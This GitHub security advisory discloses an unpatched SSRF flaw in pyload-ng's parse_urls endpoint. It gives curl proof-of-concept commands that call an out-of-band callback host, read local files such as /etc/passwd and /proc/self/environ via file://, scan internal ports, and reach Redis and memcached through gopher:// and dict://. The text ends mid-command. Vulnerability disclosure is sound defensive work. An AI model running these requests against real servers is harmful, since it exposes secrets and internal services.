GitHub Security Advisory: GHSA-2wvg-62qm-gj33
Package: pyload-ng (PIP)
Severity: HIGH (CVSS 7.7)
CWE: CWE-918: Server-Side Request Forgery (SSRF)
Vulnerable versions: <= 0.5.0b3.dev96
Patched in: unpatched

Summary: pyLoad: SSRF in parse_urls API endpoint via unvalidated URL parameter

Details:
## Vulnerability Details

**CWE-918**: Server-Side Request Forgery (SSRF)

The `parse_urls` API function in `src/pyload/core/api/__init__.py` (line 556) fetches arbitrary URLs server-side via `get_url(url)` (pycurl) without any URL validation, protocol restriction, or IP blacklist. An authenticated user with ADD permission can:

- Make HTTP/HTTPS requests to internal network resources and cloud metadata endpoints
- **Read local files** via `file://` protocol (pycurl reads the file server-side)
- **Interact with internal services** via `gopher://` and `dict://` protocols
- **Enumerate file existence** via error-based oracle (error 37 vs empty response)

### Vulnerable Code

**`src/pyload/core/api/__init__.py` (line 556)**:

```python
def parse_urls(self, html=None, url=None):
    if url:
        page = get_url(url)  # NO protocol restriction, NO URL validation, NO IP blacklist
        urls.update(RE_URLMATCH.findall(page))
```

No validation is applied to the `url` parameter. The underlying pycurl supports `file://`, `gopher://`, `dict://`, and other dangerous protocols by default.

## Steps to Reproduce

### Setup

```bash
docker run -d --name pyload -p 8084:8000 linuxserver/pyload-ng:latest
```

Log in as any user with ADD permission and extract the CSRF token:

```bash
CSRF=
```

### PoC 1: Out-of-Band SSRF (HTTP/DNS exfiltration)

```bash
curl -s -b "pyload_session_8000=<SESSION>"   -H "X-CSRFToken: "   -H "Content-Type: application/x-www-form-urlencoded"   -d "url=http://ssrf-proof.<CALLBACK_DOMAIN>/pyload-ssrf-poc"   http://localhost:8084/api/parse_urls
```

**Result**: 7 DNS/HTTP interactions received on the callback server (Burp Collaborator). Screenshot attached in comments.

### PoC 2: Local file read via file:// protocol

```bash
# Reading /etc/passwd (file exists) -> empty response (no error)
curl ... -d "url=file:///etc/passwd" http://localhost:8084/api/parse_urls
# Response: {}

# Reading nonexistent file -> pycurl error 37
curl ... -d "url=file:///nonexistent" http://localhost:8084/api/parse_urls
# Response: {"error": "(37, \'Couldn't open file /nonexistent\')"}
```

The difference confirms pycurl successfully reads local files. While `parse_urls` only returns extracted URLs (not raw content), any URL-like strings in configuration files or environment variables are leaked. The error vs success differential also serves as a **file existence oracle**.

Files confirmed readable:
- `/etc/passwd`, `/etc/hosts`
- `/proc/self/environ` (process environment variables)
- `/config/settings/pyload.cfg` (pyLoad configuration)
- `/config/data/pyload.db` (SQLite database)

### PoC 3: Internal port scanning

```bash
curl ... -d "url=http://127.0.0.1:22/" http://localhost:8084/api/parse_urls
# Response: pycurl.error: (7, 'Failed to connect to 127.0.0.1 port 22')
```

### PoC 4: gopher:// and dict:// protocol support

```bash
curl ... -d "url=gopher://127.0.0.1:6379/_INFO" http://localhost:8084/api/parse_urls
curl ... -d "url=dict://127.0.0.1:11211/s